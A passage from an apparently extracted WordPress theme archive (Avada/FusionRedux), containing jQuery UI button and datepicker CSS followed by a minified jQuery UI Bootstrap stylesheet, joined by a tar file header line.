(http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Button#theming */ .ui-button { cursor: pointer; display: inline-block; background-color: #e6e6e6; background-repeat: no-repeat; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6); background-image: -ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0); padding: 5px 14px 6px; margin: 0; text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); color: #333; font-size: 13px; line-height: normal; border: 1px solid #ccc; border-bottom-color: #bbb; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -webkit-transition: 0.1s linear background-image; -moz-transition: 0.1s linear background-image; -ms-transition: 0.1s linear background-image; -o-transition: 0.1s linear background-image; transition: 0.1s linear background-image; overflow: visible; } /* the overflow property removes extra width in IE */ .ui-button-primary { color: #ffffff; background-color: #0064cd; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd)); background-image: -moz-linear-gradient(top, #049cdb, #0064cd); background-image: -ms-linear-gradient(top, #049cdb, #0064cd); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd)); background-image: -webkit-linear-gradient(top, #049cdb, #0064cd); background-image: -o-linear-gradient(top, #049cdb, #0064cd); background-image: linear-gradient(top, #049cdb, #0064cd); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-success{ color:#ffffff; background-color: #57a957; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957)); background-image: -moz-linear-gradient(top, #62c462, #57a957); background-image: -ms-linear-gradient(top, #62c462, #57a957); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957)); background-image: -webkit-linear-gradient(top, #62c462, #57a957); background-image: -o-linear-gradient(top, #62c462, #57a957); background-image: linear-gradient(top, #62c462, #57a957); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #57a957 #57a957 #3d773d; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-error{ color:#ffffff; background-color: #c43c35; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35)); background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35); background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35)); background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35); background-image: -o-linear-gradient(top, #ee5f5b, #c43c35); background-image: linear-gradient(top, #ee5f5b, #c43c35); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #c43c35 #c43c35 #882a25; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ button.ui-button-icon-only { } /* button elements seem to need a little more width */ .ui-button-icons-only { width: 3.4em; } button.ui-button-icons-only { width: 3.7em; } /*button text element */ .ui-button .ui-button-text { display: block; } .ui-button-text-only .ui-button-text { } .ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; /*tempfix*/ display:none;} .ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } .ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } .ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } /* no icon support for input elements, provide padding by default */ /* input.ui-button { padding: .4em 1em; } */ /*button icon element(s) */ .ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { top: 50%; margin-top:-3px; margin-bottom:3px; } .ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } .ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } .ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } /*button sets*/ .ui-buttonset { margin-right: 7px; } .ui-buttonset .ui-state-active { color: #ffffff; background-color: #0064cd; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd)); background-image: -moz-linear-gradient(top, #049cdb, #0064cd); background-image: -ms-linear-gradient(top, #049cdb, #0064cd); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd)); background-image: -webkit-linear-gradient(top, #049cdb, #0064cd); background-image: -o-linear-gradient(top, #049cdb, #0064cd); background-image: linear-gradient(top, #049cdb, #0064cd); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-buttonset .ui-button { margin-left: 0; margin-right: 0; } /* workarounds */ button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ /* * jQuery UI Datepicker 1.9.0 * * Copyright 2012-10-11, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://jqueryui.com/datepicker/ */ .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; border:0px; font-weight: bold; width: 100%; padding: 4px 0; background-color: #f5f5f5; color: #808080; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { /*top: 1px;*/ } .ui-datepicker .ui-datepicker-prev { left:2px; } .ui-datepicker .ui-datepicker-next { right:2px; } .ui-datepicker .ui-datepicker-prev-hover { /*left:1px;*/ } .ui-datepicker .ui-datepicker-next-hover { /*right:1px;*/ } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } .ui-datepicker select.ui-datepicker-month-year {width: 100%;} .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 49%;} .ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } .ui-datepicker td { border: 0; padding: 1px; } .ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width:auto; } .ui-datepicker-multi .ui-datepicker-group { float:left; } .ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } .ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } .ui-datepicker-rtl .ui-datepicker-group { float:right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } /* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ .ui-datepicker-cover { display: none; /*sorry for IE5*/ display: block; /*sorry for IE5*/ position: absolute; /*must have*/ z-index: -1; /*must have*/ filter: mask(); /*must have*/ top: -4px; /*must have*/ left: -4px; /*must have*/ width: 200px; /*must have*/ height: 200px; /*must have*/ } .ui-datepicker th{ font-weight: bold; color: gray; } .ui-datepicker-today a:hover{ background-color: #808080; color: #ffffff; } .ui-datepicker-today a{ background-color: #BFBFBF; cursor: pointer; padding: 0 4px; margin-bottom:0px; } .ui-datepicker td a{ margin-bottom:0px; border:0px; } .ui-datepicker td:hover{ color: #ffffff; } .ui-datepicker td .ui-state-default { border:0px; background:none; margin-bottom:0px; padding:5px; color:gray; text-align: center; filter:none; } .ui-datepicker td .ui-state-active{ background:#BFBFBF; margin-bottom:0px; font-size:normal; text-shadow: 0px; color: #ffffff; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .ui-datepicker td .ui-state-hover { color: #ffffff; background: #0064cd; background-color: #0064cd; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd)); background-image: -moz-linear-gradient(top, #049cdb, #0064cd); background-image: -ms-linear-gradient(top, #049cdb, #0064cd); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd)); background-image: -webkit-linear-gradient(top, #049cdb, #0064cd); background-image: -o-linear-gradient(top, #049cdb, #0064cd); background-image: linear-gradient(top, #049cdb, #0064cd); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); -webkit-border-radius: 4px; -moz-border-radius: 4px; -khtml-border-radius: 4px; border-radius: 4px; } .ui-widget-content { border: 1px solid #dfdfdf; } .ui-datepicker table { background: #fff; } .placeholder { background:#f9f9f9 !important; border: 1px dashed #bbb !important; } } .wp-customizer { #ui-datepicker-div { z-index: 999999 !important; } } redux/framework/FusionReduxCore/assets/css/vendor/jquery-ui-bootstrap/jquery-ui-1.10.0.custom.css000064400000263655152342437710033113 0ustar00Avada/includes/lib/inc/*! * jQuery UI Bootstrap (0.5) * http://addyosmani.github.com/jquery-ui-bootstrap * * Copyright 2012 - 2013, Addy Osmani * Dual licensed under the MIT or GPL Version 2 licenses. * * Portions copyright jQuery UI & Twitter Bootstrap */.fusionredux-container .ui-state-disabled,.control-section-fusionredux .ui-state-disabled,.control-panel-fusionredux .ui-state-disabled,.fusionredux-metabox .ui-state-disabled{cursor:default !important}.fusionredux-container .ui-icon,.control-section-fusionredux .ui-icon,.control-panel-fusionredux .ui-icon,.fusionredux-metabox .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.fusionredux-container .ui-widget-content,.control-section-fusionredux .ui-widget-content,.control-panel-fusionredux .ui-widget-content,.fusionredux-metabox .ui-widget-content{border:1px solid #aaa;background:#fff url(images/ui-bg_glass_75_ffffff_1x400.png) 50% 50% repeat-x;color:#404040}.fusionredux-container .ui-widget-header,.control-section-fusionredux .ui-widget-header,.control-panel-fusionredux .ui-widget-header,.fusionredux-metabox .ui-widget-header{font-weight:bold;border-color:#0064cd #0064cd #003f81;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);border:1px solid #666}.fusionredux-container .ui-widget-header a,.control-section-fusionredux .ui-widget-header a,.control-panel-fusionredux .ui-widget-header a,.fusionredux-metabox .ui-widget-header a{color:#222}.fusionredux-container .ui-state-default,.fusionredux-container .ui-widget-content .ui-state-default,.fusionredux-container .ui-widget-header .ui-state-default,.control-section-fusionredux .ui-state-default,.control-section-fusionredux .ui-widget-content .ui-state-default,.control-section-fusionredux .ui-widget-header .ui-state-default,.control-panel-fusionredux .ui-state-default,.control-panel-fusionredux .ui-widget-content .ui-state-default,.control-panel-fusionredux .ui-widget-header .ui-state-default,.fusionredux-metabox .ui-state-default,.fusionredux-metabox .ui-widget-content .ui-state-default,.fusionredux-metabox .ui-widget-header .ui-state-default{background-color:#e6e6e6;background-repeat:no-repeat;background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6);background-image:-ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#ffffff", endColorstr="#e6e6e6", GradientType=0);text-shadow:0 1px 1px rgba(255,255,255,.75);color:#333;font-size:13px;line-height:normal;border:1px solid #ccc;border-bottom-color:#bbb;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-webkit-transition:.1s linear background-image;-moz-transition:.1s linear background-image;-ms-transition:.1s linear background-image;-o-transition:.1s linear background-image;transition:.1s linear background-image;overflow:visible}.fusionredux-container .ui-state-default a,.fusionredux-container .ui-state-default a:link,.fusionredux-container .ui-state-default a:visited,.control-section-fusionredux .ui-state-default a,.control-section-fusionredux .ui-state-default a:link,.control-section-fusionredux .ui-state-default a:visited,.control-panel-fusionredux .ui-state-default a,.control-panel-fusionredux .ui-state-default a:link,.control-panel-fusionredux .ui-state-default a:visited,.fusionredux-metabox .ui-state-default a,.fusionredux-metabox .ui-state-default a:link,.fusionredux-metabox .ui-state-default a:visited{color:#555;text-decoration:none}.fusionredux-container .ui-state-hover,.fusionredux-container .ui-widget-content .ui-state-hover,.fusionredux-container .ui-widget-header .ui-state-hover,.fusionredux-container .ui-state-focus,.fusionredux-container .ui-widget-content .ui-state-focus,.fusionredux-container .ui-widget-header .ui-state-focus,.control-section-fusionredux .ui-state-hover,.control-section-fusionredux .ui-widget-content .ui-state-hover,.control-section-fusionredux .ui-widget-header .ui-state-hover,.control-section-fusionredux .ui-state-focus,.control-section-fusionredux .ui-widget-content .ui-state-focus,.control-section-fusionredux .ui-widget-header .ui-state-focus,.control-panel-fusionredux .ui-state-hover,.control-panel-fusionredux .ui-widget-content .ui-state-hover,.control-panel-fusionredux .ui-widget-header .ui-state-hover,.control-panel-fusionredux .ui-state-focus,.control-panel-fusionredux .ui-widget-content .ui-state-focus,.control-panel-fusionredux .ui-widget-header .ui-state-focus,.fusionredux-metabox .ui-state-hover,.fusionredux-metabox .ui-widget-content .ui-state-hover,.fusionredux-metabox .ui-widget-header .ui-state-hover,.fusionredux-metabox .ui-state-focus,.fusionredux-metabox .ui-widget-content .ui-state-focus,.fusionredux-metabox .ui-widget-header .ui-state-focus{background-position:0 -15px;color:#333;text-decoration:none}.fusionredux-container .ui-state-hover a,.fusionredux-container .ui-state-hover a:hover,.fusionredux-container .ui-state-hover a:link,.fusionredux-container .ui-state-hover a:visited,.control-section-fusionredux .ui-state-hover a,.control-section-fusionredux .ui-state-hover a:hover,.control-section-fusionredux .ui-state-hover a:link,.control-section-fusionredux .ui-state-hover a:visited,.control-panel-fusionredux .ui-state-hover a,.control-panel-fusionredux .ui-state-hover a:hover,.control-panel-fusionredux .ui-state-hover a:link,.control-panel-fusionredux .ui-state-hover a:visited,.fusionredux-metabox .ui-state-hover a,.fusionredux-metabox .ui-state-hover a:hover,.fusionredux-metabox .ui-state-hover a:link,.fusionredux-metabox .ui-state-hover a:visited{color:#212121;text-decoration:none}.fusionredux-container .ui-state-active,.fusionredux-container .ui-widget-content .ui-state-active,.fusionredux-container .ui-widget-header .ui-state-active,.control-section-fusionredux .ui-state-active,.control-section-fusionredux .ui-widget-content .ui-state-active,.control-section-fusionredux .ui-widget-header .ui-state-active,.control-panel-fusionredux .ui-state-active,.control-panel-fusionredux .ui-widget-content .ui-state-active,.control-panel-fusionredux .ui-widget-header .ui-state-active,.fusionredux-metabox .ui-state-active,.fusionredux-metabox .ui-widget-content .ui-state-active,.fusionredux-metabox .ui-widget-header .ui-state-active{border:1px solid #aaa;font-weight:normal;color:#212121}.fusionredux-container .ui-state-active a,.fusionredux-container .ui-state-active a:link,.fusionredux-container .ui-state-active a:visited,.control-section-fusionredux .ui-state-active a,.control-section-fusionredux .ui-state-active a:link,.control-section-fusionredux .ui-state-active a:visited,.control-panel-fusionredux .ui-state-active a,.control-panel-fusionredux .ui-state-active a:link,.control-panel-fusionredux .ui-state-active a:visited,.fusionredux-metabox .ui-state-active a,.fusionredux-metabox .ui-state-active a:link,.fusionredux-metabox .ui-state-active a:visited{color:#212121;text-decoration:none}.fusionredux-container .ui-widget :active,.control-section-fusionredux .ui-widget :active,.control-panel-fusionredux .ui-widget :active,.fusionredux-metabox .ui-widget :active{outline:none}.fusionredux-container .ui-state-highlight p,.fusionredux-container .ui-state-error p,.fusionredux-container .ui-state-default p,.control-section-fusionredux .ui-state-highlight p,.control-section-fusionredux .ui-state-error p,.control-section-fusionredux .ui-state-default p,.control-panel-fusionredux .ui-state-highlight p,.control-panel-fusionredux .ui-state-error p,.control-panel-fusionredux .ui-state-default p,.fusionredux-metabox .ui-state-highlight p,.fusionredux-metabox .ui-state-error p,.fusionredux-metabox .ui-state-default p{font-size:13px;font-weight:normal;line-height:18px;margin:7px 15px}.fusionredux-container .ui-state-highlight,.fusionredux-container .ui-widget-content .ui-state-highlight,.fusionredux-container .ui-widget-header .ui-state-highlight,.control-section-fusionredux .ui-state-highlight,.control-section-fusionredux .ui-widget-content .ui-state-highlight,.control-section-fusionredux .ui-widget-header .ui-state-highlight,.control-panel-fusionredux .ui-state-highlight,.control-panel-fusionredux .ui-widget-content .ui-state-highlight,.control-panel-fusionredux .ui-widget-header .ui-state-highlight,.fusionredux-metabox .ui-state-highlight,.fusionredux-metabox .ui-widget-content .ui-state-highlight,.fusionredux-metabox .ui-widget-header .ui-state-highlight{position:relative;margin-bottom:18px;color:#404040;background-color:#eedc94;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#fceec1), to(#eedc94));background-image:-moz-linear-gradient(top, #fceec1, #eedc94);background-image:-ms-linear-gradient(top, #fceec1, #eedc94);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #fceec1), color-stop(100%, #eedc94));background-image:-webkit-linear-gradient(top, #fceec1, #eedc94);background-image:-o-linear-gradient(top, #fceec1, #eedc94);background-image:linear-gradient(top, #fceec1, #eedc94);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#fceec1", endColorstr="#eedc94", GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,.25);border-color:#eedc94 #eedc94 #e4c652;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);text-shadow:0 1px 0 rgba(255,255,255,.5);border-width:1px;border-style:solid;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.25);box-shadow:inset 0 1px 0 rgba(255,255,255,.25)}.fusionredux-container .ui-state-highlight a,.fusionredux-container .ui-widget-content .ui-state-highlight a,.fusionredux-container .ui-widget-header .ui-state-highlight a,.control-section-fusionredux .ui-state-highlight a,.control-section-fusionredux .ui-widget-content .ui-state-highlight a,.control-section-fusionredux .ui-widget-header .ui-state-highlight a,.control-panel-fusionredux .ui-state-highlight a,.control-panel-fusionredux .ui-widget-content .ui-state-highlight a,.control-panel-fusionredux .ui-widget-header .ui-state-highlight a,.fusionredux-metabox .ui-state-highlight a,.fusionredux-metabox .ui-widget-content .ui-state-highlight a,.fusionredux-metabox .ui-widget-header .ui-state-highlight a{color:#363636}.fusionredux-container .ui-state-error,.fusionredux-container .ui-widget-content .ui-state-error,.fusionredux-container .ui-widget-header .ui-state-error,.control-section-fusionredux .ui-state-error,.control-section-fusionredux .ui-widget-content .ui-state-error,.control-section-fusionredux .ui-widget-header .ui-state-error,.control-panel-fusionredux .ui-state-error,.control-panel-fusionredux .ui-widget-content .ui-state-error,.control-panel-fusionredux .ui-widget-header .ui-state-error,.fusionredux-metabox .ui-state-error,.fusionredux-metabox .ui-widget-content .ui-state-error,.fusionredux-metabox .ui-widget-header .ui-state-error{position:relative;margin-bottom:18px;color:#fff;border-width:1px;border-style:solid;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.25);box-shadow:inset 0 1px 0 rgba(255,255,255,.25);background-color:#c43c35;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35));background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-ms-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(top, #ee5f5b, #c43c35);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#ee5f5b", endColorstr="#c43c35", GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,.25);border-color:#c43c35 #c43c35 #882a25;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25)}.fusionredux-container .ui-state-error a,.fusionredux-container .ui-widget-content .ui-state-error a,.fusionredux-container .ui-widget-header .ui-state-error a,.control-section-fusionredux .ui-state-error a,.control-section-fusionredux .ui-widget-content .ui-state-error a,.control-section-fusionredux .ui-widget-header .ui-state-error a,.control-panel-fusionredux .ui-state-error a,.control-panel-fusionredux .ui-widget-content .ui-state-error a,.control-panel-fusionredux .ui-widget-header .ui-state-error a,.fusionredux-metabox .ui-state-error a,.fusionredux-metabox .ui-widget-content .ui-state-error a,.fusionredux-metabox .ui-widget-header .ui-state-error a{color:#cd0a0a}.fusionredux-container .ui-state-error-text,.fusionredux-container .ui-widget-content .ui-state-error-text,.fusionredux-container .ui-widget-header .ui-state-error-text,.control-section-fusionredux .ui-state-error-text,.control-section-fusionredux .ui-widget-content .ui-state-error-text,.control-section-fusionredux .ui-widget-header .ui-state-error-text,.control-panel-fusionredux .ui-state-error-text,.control-panel-fusionredux .ui-widget-content .ui-state-error-text,.control-panel-fusionredux .ui-widget-header .ui-state-error-text,.fusionredux-metabox .ui-state-error-text,.fusionredux-metabox .ui-widget-content .ui-state-error-text,.fusionredux-metabox .ui-widget-header .ui-state-error-text{color:#cd0a0a}.fusionredux-container .ui-priority-primary,.fusionredux-container .ui-widget-content .ui-priority-primary,.fusionredux-container .ui-widget-header .ui-priority-primary,.control-section-fusionredux .ui-priority-primary,.control-section-fusionredux .ui-widget-content .ui-priority-primary,.control-section-fusionredux .ui-widget-header .ui-priority-primary,.control-panel-fusionredux .ui-priority-primary,.control-panel-fusionredux .ui-widget-content .ui-priority-primary,.control-panel-fusionredux .ui-widget-header .ui-priority-primary,.fusionredux-metabox .ui-priority-primary,.fusionredux-metabox .ui-widget-content .ui-priority-primary,.fusionredux-metabox .ui-widget-header .ui-priority-primary{font-weight:bold}.fusionredux-container .ui-priority-secondary,.fusionredux-container .ui-widget-content .ui-priority-secondary,.fusionredux-container .ui-widget-header .ui-priority-secondary,.control-section-fusionredux .ui-priority-secondary,.control-section-fusionredux .ui-widget-content .ui-priority-secondary,.control-section-fusionredux .ui-widget-header .ui-priority-secondary,.control-panel-fusionredux .ui-priority-secondary,.control-panel-fusionredux .ui-widget-content .ui-priority-secondary,.control-panel-fusionredux .ui-widget-header .ui-priority-secondary,.fusionredux-metabox .ui-priority-secondary,.fusionredux-metabox .ui-widget-content .ui-priority-secondary,.fusionredux-metabox .ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal}.fusionredux-container .ui-state-disabled,.fusionredux-container .ui-widget-content .ui-state-disabled,.fusionredux-container .ui-widget-header .ui-state-disabled,.control-section-fusionredux .ui-state-disabled,.control-section-fusionredux .ui-widget-content .ui-state-disabled,.control-section-fusionredux .ui-widget-header .ui-state-disabled,.control-panel-fusionredux .ui-state-disabled,.control-panel-fusionredux .ui-widget-content .ui-state-disabled,.control-panel-fusionredux .ui-widget-header .ui-state-disabled,.fusionredux-metabox .ui-state-disabled,.fusionredux-metabox .ui-widget-content .ui-state-disabled,.fusionredux-metabox .ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.fusionredux-container .ui-state-disabled .ui-icon,.control-section-fusionredux .ui-state-disabled .ui-icon,.control-panel-fusionredux .ui-state-disabled .ui-icon,.fusionredux-metabox .ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.fusionredux-container .ui-icon,.control-section-fusionredux .ui-icon,.control-panel-fusionredux .ui-icon,.fusionredux-metabox .ui-icon{width:16px;height:16px;background-image:url(images/ui-icons_222222_256x240.png)}.fusionredux-container .ui-widget-content .ui-icon,.control-section-fusionredux .ui-widget-content .ui-icon,.control-panel-fusionredux .ui-widget-content .ui-icon,.fusionredux-metabox .ui-widget-content .ui-icon{background-image:url(images/ui-icons_222222_256x240.png)}.fusionredux-container .ui-widget-header .ui-icon,.control-section-fusionredux .ui-widget-header .ui-icon,.control-panel-fusionredux .ui-widget-header .ui-icon,.fusionredux-metabox .ui-widget-header .ui-icon{background-image:url(images/ui-icons_222222_256x240.png)}.fusionredux-container .ui-state-default .ui-icon,.control-section-fusionredux .ui-state-default .ui-icon,.control-panel-fusionredux .ui-state-default .ui-icon,.fusionredux-metabox .ui-state-default .ui-icon{background-image:url(images/ui-icons_888888_256x240.png)}.fusionredux-container .ui-state-hover .ui-icon,.fusionredux-container .ui-state-focus .ui-icon,.control-section-fusionredux .ui-state-hover .ui-icon,.control-section-fusionredux .ui-state-focus .ui-icon,.control-panel-fusionredux .ui-state-hover .ui-icon,.control-panel-fusionredux .ui-state-focus .ui-icon,.fusionredux-metabox .ui-state-hover .ui-icon,.fusionredux-metabox .ui-state-focus .ui-icon{background-image:url(images/ui-icons_454545_256x240.png)}.fusionredux-container .ui-state-active .ui-icon,.control-section-fusionredux .ui-state-active .ui-icon,.control-panel-fusionredux .ui-state-active .ui-icon,.fusionredux-metabox .ui-state-active .ui-icon{background-image:url(images/ui-icons_454545_256x240.png)}.fusionredux-container .ui-state-highlight .ui-icon,.control-section-fusionredux .ui-state-highlight .ui-icon,.control-panel-fusionredux .ui-state-highlight .ui-icon,.fusionredux-metabox .ui-state-highlight .ui-icon{background-image:url(images/ui-icons_2e83ff_256x240.png)}.fusionredux-container .ui-state-error .ui-icon,.fusionredux-container .ui-state-error-text .ui-icon,.control-section-fusionredux .ui-state-error .ui-icon,.control-section-fusionredux 